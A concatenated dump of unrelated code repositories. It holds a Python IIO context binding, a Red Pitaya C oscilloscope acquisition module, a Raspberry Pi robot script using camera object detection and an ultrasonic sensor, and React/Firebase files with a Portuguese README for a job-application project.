trigger for this IIO device.\n\ttype=iio.Trigger") class Context(object): """Contains the representation of an IIO context.""" def __init__(self, _context=None): """ Initializes a new instance of the Context class, using the local or the network backend of the IIO library. returns: type=iio.Context An new instance of this class This function will create a network context if the IIOD_REMOTE environment variable is set to the hostname where the IIOD server runs. If set to an empty string, the server will be discovered using ZeroConf. If the environment variable is not set, a local context will be created instead. """ self._context = None if(_context is None): self._context = _new_default() elif type(_context) is str: self._context = _new_uri(_context) else: self._context = _context # TODO(pcercuei): Use a dictionary for the devices. self._devices = [ Trigger(dev) if _d_is_trigger(dev) else Device(self, dev) for dev in \ [ _get_device(self._context, x) for x in range(0, _devices_count(self._context)) ]] self._name = _get_name(self._context) self._description = _get_description(self._context) self._xml = _get_xml(self._context) major = c_uint() minor = c_uint() buf = create_string_buffer(8) _get_version(self._context, _byref(major), _byref(minor), buf) self._version = (major.value, minor.value, buf.value ) def __del__(self): if(self._context is not None): _destroy(self._context) def set_timeout(self, timeout): """ Set a timeout for I/O operations. parameters: timeout: type=int The timeout value, in milliseconds """ _set_timeout(self._context, timeout) def clone(self): """ Clone this instance. returns: type=iio.LocalContext An new instance of this class """ return Context(_clone(self._context)) def find_device(self, name_or_id): """ Find a IIO device by its name or ID. parameters: name_or_id: type=str The name or ID of the device to find returns: type=iio.Device or type=iio.Trigger The IIO Device """ return (filter(lambda x: name_or_id == x.name or name_or_id == x.id, self.devices) or [None])[0] name = property(lambda self: self._name, None, None, \ "Name of this IIO context.\n\ttype=str") description = property(lambda self: self._description, None, None, \ "Description of this IIO context.\n\ttype=str") xml = property(lambda self: self._xml, None, None, \ "XML representation of the current context.\n\ttype=str") version = property(lambda self: self._version, None, None, \ "Version of the backend.\n\ttype=(int, int, str)") devices = property(lambda self: self._devices, None, None, \ "List of devices contained in this context.\n\ttype=list of iio.Device and iio.Trigger objects") class LocalContext(Context): def __init__(self): """ Initializes a new instance of the Context class, using the local backend of the IIO library. returns: type=iio.LocalContext An new instance of this class """ ctx = _new_local() super(LocalContext, self).__init__(ctx) class XMLContext(Context): def __init__(self, xmlfile): """ Initializes a new instance of the Context class, using the XML backend of the IIO library. parameters: xmlfile: type=str Filename of the XML file to build the context from returns: type=iio.XMLContext An new instance of this class """ ctx = _new_xml(xmlfile) super(XMLContext, self).__init__(ctx) class NetworkContext(Context): def __init__(self, hostname = None): """ Initializes a new instance of the Context class, using the network backend of the IIO library. parameters: hostname: type=str Hostname, IPv4 or IPv6 address where the IIO Daemon is running returns: type=iio.NetworkContext An new instance of this class """ ctx = _new_network(hostname) super(NetworkContext, self).__init__(ctx) def scan_contexts(): d = dict() ptr = _POINTER(_ContextInfoPtr)() ctx = _create_scan_context(None, 0) nb = _get_context_info_list(ctx, _byref(ptr)); for i in range(0, nb): d[_context_info_get_uri(ptr[i])] = _context_info_get_description(ptr[i]) _context_info_list_free(ptr) _destroy_scan_context(ctx) return d <file_sep>/api1/src/acq.c /** * $Id: $ * * @brief Red Pitaya library oscilloscope module implementation * * @Author <NAME> * * (c) Red Pitaya http://www.redpitaya.com * * This part of code is written in C programming language. * Please visit http://en.wikipedia.org/wiki/C_(programming_language) * for more details on the language used herein. */ #include <stdio.h> #include <stdint.h> #include <math.h> #include "common.h" #include "acq.h" // The FPGA register structure for oscilloscope static volatile osc_control_t *osc_reg = NULL; // The FPGA input signal buffer pointer for channel A/B static volatile int32_t *osc_ch[2] = {NULL, NULL}; /** * general */ static int osc_Init() { cmn_Map(OSC_BASE_SIZE, OSC_BASE_ADDR, (void**)&osc_reg); osc_ch[0] = (int32_t*)((char*)osc_reg + OSC_CHA_OFFSET); osc_ch[1] = (int32_t*)((char*)osc_reg + OSC_CHB_OFFSET); return RP_OK; } static int osc_Release() { cmn_Unmap(OSC_BASE_SIZE, (void**)&osc_reg); osc_ch[0] = NULL; osc_ch[1] = NULL; return RP_OK; } /** * $Id: $ * * @brief Red Pitaya library Acquire signal handler implementation * * @Author <NAME> * * (c) <NAME>aya http://www.redpitaya.com * * This part of code is written in C programming language. * Please visit http://en.wikipedia.org/wiki/C_(programming_language) * for more details on the language used herein. */ /* @brief Trig. reg. value offset when set to 0 */ static const int32_t TRIG_DELAY_ZERO_OFFSET = ADC_BUFFER_SIZE/2; /* @brief Sampling period (non-decimated) - 8 [ns]. */ static const uint64_t ADC_SAMPLE_PERIOD = 8; /* @brief Currently set Gain state */ static int unsigned gain_ch [2] = {0, 0}; /* @brief Default filter equalization coefficients LO/HI */ static const uint32_t FILT_AA[] = {0x7D93 , 0x4C5F }; static const uint32_t FILT_BB[] = {0x437C7 , 0x2F38B }; static const uint32_t FILT_PP[] = {0x2666 , 0x2666 }; static const uint32_t FILT_KK[] = {0xd9999a, 0xd9999a}; /** * Equalization filters */ static void osc_SetEqFiltersChA(uint32_t coef_aa, uint32_t coef_bb, uint32_t coef_kk, uint32_t coef_pp) { osc_reg->cha_filt_aa = coef_aa; osc_reg->cha_filt_bb = coef_bb; osc_reg->cha_filt_kk = coef_kk; osc_reg->cha_filt_pp = coef_pp; } static void osc_SetEqFiltersChB(uint32_t coef_aa, uint32_t coef_bb, uint32_t coef_kk, uint32_t coef_pp) { osc_reg->chb_filt_aa = coef_aa; osc_reg->chb_filt_bb = coef_bb; osc_reg->chb_filt_kk = coef_kk; osc_reg->chb_filt_pp = coef_pp; } //static void osc_GetEqFiltersChA(uint32_t* coef_aa, uint32_t* coef_bb, uint32_t* coef_kk, uint32_t* coef_pp) { // coef_aa = osc_reg->cha_filt_aa; // coef_bb = osc_reg->cha_filt_bb; // coef_kk = osc_reg->cha_filt_kk; // coef_pp = osc_reg->cha_filt_pp; //} // //static void osc_GetEqFiltersChB(uint32_t* coef_aa, uint32_t* coef_bb, uint32_t* coef_kk, uint32_t* coef_pp) { // coef_aa = osc_reg->chb_filt_aa; // coef_bb = osc_reg->chb_filt_bb; // coef_kk = osc_reg->chb_filt_kk; // coef_pp = osc_reg->chb_filt_pp; //} /** * Sets equalization filter with default coefficients per channel * @param channel Channel A or B * @return 0 when successful */ static int setEqFilters(int unsigned channel) { int unsigned gain = gain_ch [channel]; // Update equalization filter with default coefficients if (channel == 0) osc_SetEqFiltersChA(FILT_AA[gain], FILT_BB[gain], FILT_KK[gain], FILT_PP[gain]); else osc_SetEqFiltersChB(FILT_AA[gain], FILT_BB[gain], FILT_KK[gain], FILT_PP[gain]); return RP_OK; } /*----------------------------------------------------------------------------*/ static int acq_SetChannelThresholdHyst(int unsigned channel, float voltage) { int unsigned gain = gain_ch [channel]; if (fabs(voltage) - fabs(GAIN_V(gain)) > FLOAT_EPS) return RP_EOOR; int32_t calib_off = calib_GetAcqOffset(channel, gain); float calib_scl = ADC_BITS_MAX / calib_GetAcqScale (channel, gain); osc_reg->hystersis[channel] = calib_Saturate(ADC_BITS, (int32_t) (voltage * calib_scl) + calib_off); return RP_OK; } static uint32_t getSizeFromStartEndPos(uint32_t start_pos, uint32_t end_pos) { end_pos = end_pos % ADC_BUFFER_SIZE; start_pos = start_pos % ADC_BUFFER_SIZE; if (end_pos < start_pos) end_pos += ADC_BUFFER_SIZE; return end_pos - start_pos + 1; } /** * Acquire methods */ int rp_AcqSetArmKeep(bool enable) { if (enable) return cmn_SetBits (&osc_reg->conf, 0x8, ARM_KEEP_MASK); else return cmn_UnsetBits(&osc_reg->conf, 0x8, ARM_KEEP_MASK); } int rp_AcqSetDecimationFactor(uint32_t decimation) { osc_reg->data_dec = decimation & DATA_DEC_MASK; return RP_OK; } int rp_AcqGetDecimationFactor(uint32_t* decimation) { *decimation = osc_reg->data_dec; return RP_OK; } int rp_AcqSetAveraging(bool enabled) { osc_reg->other = enabled ? 1 : 0; return RP_OK; } int rp_AcqGetAveraging(bool *enabled) { *enabled = osc_reg->other; return RP_OK; } int rp_AcqSetTriggerSrc(rp_acq_trig_src_t source) { osc_reg->trig_source = source & TRIG_SRC_MASK; return RP_OK; } int rp_AcqGetTriggerSrc(rp_acq_trig_src_t* source) { *source = osc_reg->trig_source & TRIG_SRC_MASK; return RP_OK; } int rp_AcqGetTriggerState(rp_acq_trig_state_t* state) { uint32_t stateB = osc_reg->conf & TRIG_ST_MCH_MASK; if (stateB) *state = RP_TRIG_STATE_TRIGGERED; else *state = RP_TRIG_STATE_WAITING; return RP_OK; } int rp_AcqSetTriggerDelay(int32_t decimated_data_num) { int32_t trig_dly; if (decimated_data_num < -TRIG_DELAY_ZERO_OFFSET) trig_dly = 0; else trig_dly = decimated_data_num + TRIG_DELAY_ZERO_OFFSET; osc_reg->trigger_delay = trig_dly; return RP_OK; } int rp_AcqGetTriggerDelay(int32_t* decimated_data_num) { *decimated_data_num = osc_reg->trigger_delay - TRIG_DELAY_ZERO_OFFSET; return RP_OK; } int rp_AcqGetPreTriggerCounter(uint32_t* value) { *value = osc_reg->pre_trigger_counter; return RP_OK; } int rp_AcqGetGain(int unsigned channel, int unsigned* state) { return gain_ch [channel]; } int rp_AcqGetGainV(int unsigned channel, float* voltage) { return GAIN_V(gain_ch[channel]); } static int acq_GetChannelThresholdHyst(int unsigned channel, float* voltage) { int unsigned gain = gain_ch [channel]; int32_t calib_off = -calib_GetAcqOffset(channel, gain); float calib_scl = calib_GetAcqScale (channel, gain) / ADC_BITS_MAX; *voltage = (float) (osc_reg->hystersis[channel] + calib_off) * calib_scl; return RP_OK; } static int acq_GetChannelThreshold(int unsigned channel, float* voltage) { int unsigned gain = gain_ch [channel]; int32_t calib_off = -calib_GetAcqOffset(channel, gain); float calib_scl = calib_GetAcqScale (channel, gain) / ADC_BITS_MAX; *voltage = (float) (osc_reg->thr[channel] + calib_off) * calib_scl; fprintf(stderr, "%s-1: scl = %f, off = %d, voltage = %f, cnt = %d\n", __func__, calib_scl, calib_off, *voltage, osc_reg->thr[channel]); return RP_OK; } int rp_AcqSetGain(int unsigned channel, int unsigned state) { int unsigned gain = gain_ch [channel]; // Read old values which are dependent on the gain... int unsigned old_gain; float ch_thr, ch_hyst; old_gain = gain; acq_GetChannelThreshold (channel, &ch_thr ); acq_GetChannelThresholdHyst(channel, &ch_hyst); // Now update the gain gain = state; // And recalculate new values... int status = rp_AcqSetTriggerLevel(channel, ch_thr); if (status == RP_OK) status = acq_SetChannelThresholdHyst(channel, ch_hyst); // In case of an error, put old values back and report the error if (status != RP_OK) { gain = old_gain; rp_AcqSetTriggerLevel(channel, ch_thr); acq_SetChannelThresholdHyst(channel, ch_hyst); } else { // At the end if everything is ok, update also equalization filters based on the new gain. // Updating eq filters should never fail... status = setEqFilters(channel); } return status; } int rp_AcqGetTriggerLevel(float* voltage) { acq_GetChannelThreshold(0, voltage); return RP_OK; } int rp_AcqSetTriggerLevel(int unsigned channel, float voltage) { int unsigned gain = gain_ch [channel]; if (fabs(voltage) - fabs(GAIN_V(gain)) > FLOAT_EPS) return RP_EOOR; int32_t calib_off = calib_GetAcqOffset(channel, gain); float calib_scl = ADC_BITS_MAX / calib_GetAcqScale (channel, gain); int32_t cnt = calib_Saturate(ADC_BITS, (int32_t)(voltage * calib_scl) + calib_off); fprintf(stderr, "%s-1: off = %d, scl = %f, cnt = %d, voltage = %f\n", __func__, calib_off, calib_scl, cnt, voltage); osc_reg->thr[channel] = cnt; return RP_OK; } int rp_AcqGetTriggerHyst(float* voltage) { return acq_GetChannelThresholdHyst(0, voltage); } int rp_AcqSetTriggerHyst(float voltage) { acq_SetChannelThresholdHyst(0, voltage); acq_SetChannelThresholdHyst(1, voltage); return RP_OK; } int rp_AcqGetWritePointer(uint32_t* pos) { *pos = osc_reg->wr_ptr_cur; return RP_OK; } int rp_AcqGetWritePointerAtTrig(uint32_t* pos) { *pos = osc_reg->wr_ptr_trigger; return RP_OK; } int rp_AcqStart() { return cmn_SetBits(&osc_reg->conf, 0x1, START_DATA_WRITE_MASK); } int rp_AcqStop() { return cmn_UnsetBits(&osc_reg->conf, 0x1, START_DATA_WRITE_MASK); } int rp_AcqReset() { rp_AcqSetTriggerLevel(0, 0.0); rp_AcqSetTriggerLevel(1, 0.0); acq_SetChannelThresholdHyst(0, 0.0); acq_SetChannelThresholdHyst(1, 0.0); rp_AcqSetGain(0, 0); rp_AcqSetGain(1, 0); rp_AcqSetDecimationFactor(1); rp_AcqSetAveraging(true); rp_AcqSetTriggerSrc(RP_TRIG_SRC_DISABLED); rp_AcqSetTriggerDelay(0); return cmn_SetBits(&osc_reg->conf, (0x1 << 1), RST_WR_ST_MCH_MASK); } int rp_AcqGetDataPosRaw(int unsigned channel, uint32_t start_pos, uint32_t end_pos, int16_t* buffer, uint32_t* buffer_size) { uint32_t size = getSizeFromStartEndPos(start_pos, end_pos); if (size > *buffer_size) return RP_BTS; *buffer_size = size; return rp_AcqGetDataRaw(channel, start_pos, buffer_size, buffer); } int rp_AcqGetDataPosV(int unsigned channel, uint32_t start_pos, uint32_t end_pos, float* buffer, uint32_t* buffer_size) { uint32_t size = getSizeFromStartEndPos(start_pos, end_pos); if (size > *buffer_size) return RP_BTS; *buffer_size = size; return rp_AcqGetDataV(channel, start_pos, buffer_size, buffer); } int rp_AcqGetDataRaw(int unsigned channel, uint32_t pos, uint32_t* size, int16_t* buffer) { *size = MIN(*size, ADC_BUFFER_SIZE); for (uint32_t i = 0; i < (*size); ++i) buffer[i] = osc_ch[channel][(pos + i) % ADC_BUFFER_SIZE]; return RP_OK; } int rp_AcqGetDataRawV2(uint32_t pos, uint32_t* size, int16_t* buffer[2]) { for (int unsigned ch=0; ch<2; ch++) rp_AcqGetDataRaw(ch, pos, size, buffer[ch]); return RP_OK; } int rp_AcqGetOldestDataRaw(int unsigned channel, uint32_t* size, int16_t* buffer) { uint32_t pos; rp_AcqGetWritePointer(&pos); return rp_AcqGetDataRaw(channel, pos+1, size, buffer); } int rp_AcqGetLatestDataRaw(int unsigned channel, uint32_t* size, int16_t* buffer) { *size = MIN(*size, ADC_BUFFER_SIZE); uint32_t pos; rp_AcqGetWritePointer(&pos); pos = (ADC_BUFFER_SIZE + pos + 1 - (*size)) % ADC_BUFFER_SIZE; return rp_AcqGetDataRaw(channel, pos, size, buffer); } int rp_AcqGetDataV(int unsigned channel, uint32_t pos, uint32_t* size, float* buffer) { *size = MIN(*size, ADC_BUFFER_SIZE); int unsigned gain = gain_ch [channel]; int32_t calib_off = -calib_GetAcqOffset(channel, gain); float calib_scl = calib_GetAcqScale (channel, gain) / ADC_BITS_MAX; for (uint32_t i = 0; i < (*size); ++i) buffer[i] = (float) (osc_ch[channel][(pos + i) % ADC_BUFFER_SIZE] + calib_off) * calib_scl; return RP_OK; } int rp_AcqGetDataV2(uint32_t pos, uint32_t* size, float* buffer[2]) { for (int unsigned ch=0; ch<2; ch++) rp_AcqGetDataV(ch, pos, size, buffer[ch]); return RP_OK; } int rp_AcqGetOldestDataV(int unsigned channel, uint32_t* size, float* buffer) { uint32_t pos; rp_AcqGetWritePointer(&pos); return rp_AcqGetDataV(channel, pos+1, size, buffer); } int rp_AcqGetLatestDataV(int unsigned channel, uint32_t* size, float* buffer) { *size = MIN(*size, ADC_BUFFER_SIZE); uint32_t pos; rp_AcqGetWritePointer(&pos); pos = (ADC_BUFFER_SIZE + pos + 1 - (*size)) % ADC_BUFFER_SIZE; return rp_AcqGetDataV(channel, pos, size, buffer); } int rp_AcqGetBufSize(uint32_t *size) { *size = ADC_BUFFER_SIZE; return RP_OK; }
1bc792cd1b3134a0f909043ff78545621655b2ae
[ "C", "Python" ]
2
Python
amin3vdc/RedPitaya
48fb096e543dffccdb76c785d5d8cc6e1e899c9f
6e1fea394cc6cca378714fc5b3533c264bba0f5a
refs/heads/master
<repo_name>jackstorrie/Jack-Storrie-CES-Project<file_sep>/CESProjectRobot/robot.py # imports import argparse import time import cv2 import imutils import numpy as np import picamera import gpiozero # globals from imutils.video import VideoStream wheels = gpiozero.Robot(left=(7, 8), right=(9, 10)) camera = picamera.PiCamera() us_sensor = gpiozero.input_devices.DistanceSensor(24, 18) def image_detection_setup(): ap = argparse.ArgumentParser() ap.add_argument("-p", "--prototxt", required=True, help="path to Caffe 'deploy' prototxt file") ap.add_argument("-m", "--model", required=True, help="path to Caffe pre-trained model") ap.add_argument("-c", "--confidence", type=float, default=0.2, help="minimum probability to filter weak detections") args = vars(ap.parse_args()) CLASSES = ["background", "aeroplane", "bicycle", "bird", "boat", "bottle", "bus", "car", "cat", "chair", "cow", "diningtable", "dog", "horse", "motorbike", "person", "pottedplant", "sheep", "sofa", "train", "tvmonitor"] COLORS = np.random.uniform(0, 255, size=(len(CLASSES), 3)) net = cv2.dnn.readNetFromCaffe(args["prototxt"], args["model"]) return CLASSES, COLORS, net, args def scan_image_for_objects(vs, net, CLASSES, COLORS, args, status): # loop over the frames from the video stream while True: frame = vs.read() frame = imutils.resize(frame, width=400) (h, w) = frame.shape[:2] blob = cv2.dnn.blobFromImage(cv2.resize(frame, (300, 300)), 0.007843, (300, 300), 127.5) net.setInput(blob) detections = net.forward() coords = [] object_type = [] # loop over the detections for i in np.arange(0, detections.shape[2]): confidence = detections[0, 0, i, 2] # filter out weak detections by ensuring the `confidence` is # greater than the minimum confidence if confidence > args["confidence"]: idx = int(detections[0, 0, i, 1]) box = detections[0, 0, i, 3:7] * np.array([w, h, w, h]) (startX, startY, endX, endY) = box.astype("int") label = "{}: {:.2f}%".format(CLASSES[idx], confidence * 100) object_type[i] = label[0] coords[i] = cv2.rectangle(frame, (startX, startY), (endX, endY), COLORS[idx], 2) y = startY - 15 if startY - 15 > 15 else startY + 15 cv2.putText(frame, label, (startX, y), cv2.FONT_HERSHEY_SIMPLEX, 0.5, COLORS[idx], 2) sorted_detections = [] for i in (0, len(detections)): sorted_detections[i] = [detections[i], coords[i], object_type[i]] return sorted_detections, status def decide_and_perform_next_movement(detections, stationary, non_detection_count): closest_object = detections[0] co_difference = 0 # determining closest object in frame for i in (0, len(detections)): current_co_difference = detections[i, 1].endX - detections[i, 1].startX if current_co_difference > co_difference: co_difference = current_co_difference closest_object = detections[i] # performing ultrasonic sensor pulse gpiozero.output(us_sensor[1], True) time.sleep(0.00001) gpiozero.output(us_sensor[1], False) while gpiozero.input(us_sensor[0]) == 0: pulse_start = time.time() while gpiozero.input(us_sensor[0]) == 1: pulse_end = time.time() pulse_duration = pulse_end - pulse_start distance = round((pulse_duration * 17150), 2) # else-if construct to determine the next move of the robot if len(detections) == 0: if stationary: non_detection_count += 1 if non_detection_count >= 10: status = 0 wheels.stop() elif not stationary: non_detection_count += 1 wheels.forward(0.8) elif stationary: non_detection_count += 1 wheels.forward(0.8) stationary = False elif closest_object[1].startX < 100 & co_difference > 120: if closest_object[2] == 'cat': non_detection_count = 0 wheels.right(0.9) elif distance >= 100: non_detection_count = 0 wheels.right(0.8) else: non_detection_count = 0 wheels.forward(0.8) elif closest_object[1].startX < 100 & co_difference < 120: if closest_object[2] == 'cat': non_detection_count = 0 wheels.right(0.9) else: non_detection_count = 0 wheels.forward(0.8) elif closest_object[1].startX >= 100 & closest_object[1].startX <= 200 & co_difference > 120: if closest_object[2] == 'cat': non_detection_count = 0 wheels.backward(0.9) elif distance >= 100: non_detection_count = 0 wheels.backward(0.8) else: if closest_object[1].startX >= 101 & closest_object[1].startX <= 150: non_detection_count = 0 wheels.right(0.8) elif closest_object[1].startX >= 150 & closest_object[1].startX <= 200: non_detection_count = 0 wheels.left(0.8) elif closest_object[1].startX >= 100 & closest_object[1].startX <= 200 & co_difference < 120: if closest_object[2] == 'cat': non_detection_count = 0 wheels.backward(0.9) else: non_detection_count = 0 wheels.forward(0.8) elif closest_object[1].startX > 200 & co_difference > 120: if closest_object[2] == 'cat': non_detection_count = 0 wheels.left(0.9) elif distance >= 100: non_detection_count = 0 wheels.left(0.8) else: non_detection_count = 0 wheels.forward(0.8) elif closest_object[1].startX < 200 & co_difference < 120: if closest_object[2] == 'cat': non_detection_count = 0 wheels.left(0.9) else: non_detection_count = 0 wheels.forward(0.8) return stationary, non_detection_count, status def main(): # preparing variables and performing time buffer status = 1 stationary = True non_detection_count = 0 vs = VideoStream(usePiCamera=True).start() CLASSES, COLORS, net, args = image_detection_setup() gpiozero.setup(us_sensor[1], gpiozero.OUT) gpiozero.setup(us_sensor[0], gpiozero.IN) time.sleep(5.0) # scanning-movement cycle while status == 1: detections = scan_image_for_objects(vs, net, CLASSES, COLORS, args, status) decide_and_perform_next_movement(detections, stationary, non_detection_count, status) #cleanup cv2.destroyAllWindows() vs.stop() return <file_sep>/Rpi Outputs/cameratest.py from time import sleep from picamera import PiCamera camera = PiCamera() camera.resolution = (1024, 768) camera.start_preview() sleep(2) camera.capture('image.jpg')
59d96e4633ed763a09d7072ea05534396d72d0e9
[ "Python" ]
2
Python
jackstorrie/Jack-Storrie-CES-Project
2ed9300b7c683db32510bb8014f72073312e079d
082f614f5a0babfe93d0d6b642e4f634177cd1cf
refs/heads/master
<file_sep>My name is <NAME> And my favourite colour is red
d74a3e734b3f5ec6f4a941b42c919ffb611f33b0
[ "Python" ]
1
Python
Solaarmoon/tutorial
025a37395a9b29e0156ab01a89bb290c780a2217
f5fc7a11548d6f677c1023ec50482bdafae4d05b
refs/heads/master
<repo_name>felipesantanadev/react-js-context-api<file_sep>/src/components/CreateMovie.js import React, {useContext, useState} from 'react'; import {MoviewContext, MovieContext} from '../contexts/MovieContext'; const CreateMovie = () => { const [movies, setMovies] = useContext(MovieContext); const [name, setName] = useState(''); const [rate, setRate] = useState(0); const [url, setUrl] = useState(''); const changeName = (event) => { setName(event.target.value); } const changeRate = (event) => { setRate(event.target.value); } const changeUrl = (event) => { setUrl(event.target.value); } const update = (event) => { event.preventDefault(); setMovies(prevMovies => [...prevMovies, { name: name, rate: rate, url: url }]); } return ( <form onSubmit={update} className="column is-one-quarter"> <div className="field"> <label class="label">Name</label> <div class="control"> <input type="text" className="input" onChange={changeName}/> </div> </div> <div className="field"> <label class="label">Movie Rate</label> <div class="control"> <input type="text" className="input" onChange={changeRate}/> </div> </div> <div className="field"> <label class="label">Url</label> <div class="control"> <input type="text" className="input" onChange={changeUrl}/> </div> </div> <button onClick={update} className="button is-primary">Create</button> </form> ); } export default CreateMovie;<file_sep>/src/contexts/MovieContext.js import React, {useState, createContext, useEffect} from 'react'; import MovieService from '../services/MovieService'; const service = new MovieService(); export const MovieContext = createContext(); export const MovieProvider = (props) => { const [movies, setMovies] = useState([]); useEffect(() => { service.getMovies().then(result => { setMovies(result); }); },[]); return( <MovieContext.Provider value={[movies, setMovies]}> {props.children} </MovieContext.Provider> ); }<file_sep>/src/services/MovieService.js class MovieService { movies = [{ name: 'Star Wars Episode I', rate: 9.5, url: 'https://upload.wikimedia.org/wikipedia/pt/0/05/Star_Wars_Phantom_Menace_-_P%C3%B4ster.jpg', creator: '<NAME>' }, { name: 'Star Wars Episode II', rate: 9.7, url: 'https://upload.wikimedia.org/wikipedia/pt/6/63/Star_Wars_The_Clone_Wars.jpg', creator: '<NAME>' }, { name: 'Star Wars Episode III', rate: 10, url: 'https://upload.wikimedia.org/wikipedia/pt/thumb/5/58/Star_Wars_Epis%C3%B3dio_III_A_Vingan%C3%A7a_dos_Sith.jpg/250px-Star_Wars_Epis%C3%B3dio_III_A_Vingan%C3%A7a_dos_Sith.jpg', creator: '<NAME>' }, { name: "<NAME> and the Philosopher's Stone", rate: 10, url: 'https://images-na.ssl-images-amazon.com/images/I/815v2OuIHXL._SY445_.jpg', creator: '<NAME>' }]; async getMovies() { return this.movies; } } export default MovieService;<file_sep>/src/components/Navbar.js import React, { useContext } from 'react'; import {MovieContext} from '../contexts/MovieContext'; const Navbar = () => { const [movies, setMovies] = useContext(MovieContext); return( <nav className="navbar" role="navigation" aria-label="main navigation"> <div className="navbar-brand"> <a className="navbar-item">@felipesantana.dev</a> </div> <div className="navbar-menu"> <div className="navbar-start"> <a className="navbar-item">Movies Count: {movies.length}</a> </div> </div> </nav> ); } export default Navbar;<file_sep>/README.md # React JS - Context API A sample to implement the Context API with React JS. <file_sep>/src/components/MovieList.js import React, {useContext} from 'react'; import Movie from './Movie'; import {MovieContext} from '../contexts/MovieContext'; const MovieList = () => { const [movies, setMovies] = useContext(MovieContext); return( <div className="column"> <div className="columns"> { movies.map((movie, index) => ( <div className="column"> <Movie key={`movie-${index}`} movie={movie} /> </div> )) } </div> </div> ); } export default MovieList;<file_sep>/src/components/Movie.js import React from 'react'; const Movie = ({movie}) => { return( <div className="card"> <div class="card-image"> <figure class="image is-4by5"> <img src={movie.url} alt="Placeholder image" /> </figure> </div> <div className="card-content"> <p className="title is-6">{movie.name}</p> <p class="subtitle is-6">Authors: {movie.creator}</p> <small>Rate: {movie.rate}</small> </div> </div> ); } export default Movie;<file_sep>/src/App.js import React from 'react'; import MovieList from './components/MovieList'; import {MovieProvider} from './contexts/MovieContext'; import CreateMovie from './components/CreateMovie'; import Navbar from './components/Navbar'; function App() { return ( <div className="App"> <MovieProvider> <Navbar /> <div className="container"> <div className="columns"> <CreateMovie /> <MovieList /> </div> </div> </MovieProvider> </div> ); } export default App;
3a3a2e72dcbebdb7badaea003c87625ac828ee04
[ "JavaScript", "Markdown" ]
8
JavaScript
felipesantanadev/react-js-context-api
5e3498428ee26a0f48f4902cc76cca42a327c0c2
2e3ea37fedd81ba865f127f9166f7a5c4fc82ef2
refs/heads/master
<repo_name>IgnacioMilia/Charts<file_sep>/src/charts/Controller.java package charts; import javafx.collections.FXCollections; import javafx.collections.ObservableList; import javafx.fxml.FXML; import javafx.scene.chart.*; import javafx.scene.chart.XYChart.Series; import javafx.scene.control.Label; import javafx.scene.control.Tab; public class Controller { private ObservableList<PieChart.Data> dlist; // Gráficos private @FXML BarChart barChart; private @FXML LineChart<?, ?> lineChart; private @FXML PieChart pieChart; private @FXML AreaChart areaChart; private @FXML StackedAreaChart stockedAreaChart; // Tabs @FXML Tab tabBar; @FXML Tab tabLine; @FXML Tab tabPie; @FXML Tab tabArea; @FXML Tab tabStockedArea; @FXML Label lbl; private PieChart.Data pieData; private Series series1; private Series series2; private Series series3; public void setData() { dlist = FXCollections.observableArrayList(); series1 = new Series(); series2 = new Series(); series3 = new Series(); for (int i = -5000; i < 5000; i += 100) { series1.getData().add(new XYChart.Data(i*i*i - i*i, 3*i*i - 100*i +30)); series2.getData().add(new XYChart.Data(""+i, i*i*i - i*i)); series3.getData().add(new XYChart.Data(""+i, 3*(i*i*i) + i*i +400)); dlist.clear(); dlist.add(new PieChart.Data("1", 3*i*i - 100*i +30 )); dlist.add(new PieChart.Data("2", i*i*i - i*i )); dlist.add(new PieChart.Data("3", 3*(i*i*i) + i*i +400)); } switch(lbl.getText()){ case "barras": barChart.getData().clear(); barChart.getData().addAll( series2, series3); break; case "lineas": lineChart.getData().clear(); lineChart.getData().addAll( series2, series3); break; case "pie": pieChart.setData(dlist); // ... break; case "area": areaChart.getData().clear(); areaChart.getData().addAll( series2, series3); break; case "stkArea": stockedAreaChart.setData(FXCollections.observableArrayList(series1)); // stockedAreaChart.getData().addAll(series1,series2,series3); // ... break; } } // si se agregan los datos en todos los gráficos al mismo tiempo, se dibujan mal public void bar(){ lbl.setText("barras"); setData(); } public void line(){ lbl.setText("lineas"); setData(); } public void pie(){ lbl.setText("pie"); setData(); } public void area(){ lbl.setText("area"); setData(); } public void stkArea(){ lbl.setText("stkArea"); setData(); } }
b010b90a563e727501ca4cdd29dc4db0f89f0f67
[ "Java" ]
1
Java
IgnacioMilia/Charts
ec469b2ba24bf6b9b586afe22c033584846d90d7
0ea9f6eccb7d653496da7ea322d9de9579a665b2
refs/heads/main
<file_sep>import styled from 'styled-components'; const TitleStyle = styled.h1` color: #333; font-size: 2.875rem; line-height: 3.5rem; text-align: center; margin-bottom: 8px; font-weight: 400; @media (max-width: 1200px) { font-size: 2.2rem; line-height: 3rem; } `; export default TitleStyle; <file_sep>import './App.css'; import './config/firebase'; import React from 'react'; import { Helmet } from 'react-helmet'; import MainRouter from './routes/MainRouter'; import { AuthProvider } from './context/AuthContext'; function App() { return ( <AuthProvider> <Helmet> <title>Processo Seletivo - Woke</title> </Helmet> <MainRouter /> </AuthProvider> ); } export default App; <file_sep>import { fireStore, fireAuth } from '../config/firebase'; export const createUser = async (user, userData) => { try { await fireStore.collection('users').doc(user.uid).set(userData); console.log("Tudo Certo !") return true; } catch (error) { console.log('erro', error); } }; export const getUser = async (userId) => { const uid = fireAuth.currentUser.uid; const userData = await (await fireStore.collection('users').doc(uid).get()).data(); return userData; } export const getEmailToVerify = async (user) => { const listUsers = []; await fireStore.collection('users').where('email', '==', user).get().then((data) => { data.docs.map((data) => listUsers.push(data.data())); }); const userData = listUsers[0]; if(userData) { return userData.nome; } else { return false; } }<file_sep># Woke-ProcessoSeletivo Desenvolvido em 8 horas. <p align="center"> <a href="#problema">Problema</a> • <a href="#solucao">Solução</a> • <a href="#funcionalidades">Funcionalidades</a> • <a href="#andamento">Andamento</a> • <a href="#tecnologias">Tecnologias</a> • <a href="#decisoes ">Decisões</a> • <a href="#rodar ">Como rodar o projeto ?</a> • <a href="#autor">Autor</a> • </p> ## Problema <p id="problema" align="center"> Muitas pessoas, na necessidade de conseguir uma oportunidade, acabam enviando centenas de curriculos, preenchendo também, centenas de diferentes curriculos em sites diferentes. Tomando não apenas um tempo desnecessario, que poderia ser gasto em outras atividades, como passar um tempo com a sua familia ou até mesmo estudar, mas também gastam muita energia, o que pode acabar impactando negativamente, no começo do dia de uma pessoa. </p> ### Solução <p id="solucao" align="center">Focando resolver esse problema, proposto pela empresa Woke, desenvolvi um sistema completo, em apenas 8 horas. Onde trouxe uma plataforma aonde poderia conectar essas duas pessoas ( Contratante e Profissional ), que ao realizar o seu cadastro, a plataforma te possibilita encaminhar seus dados para outras empresas, sem toda essa burocracia, de ter que se cadastrar em um site diferente por dia, facilitando essa migração !</p> <h2 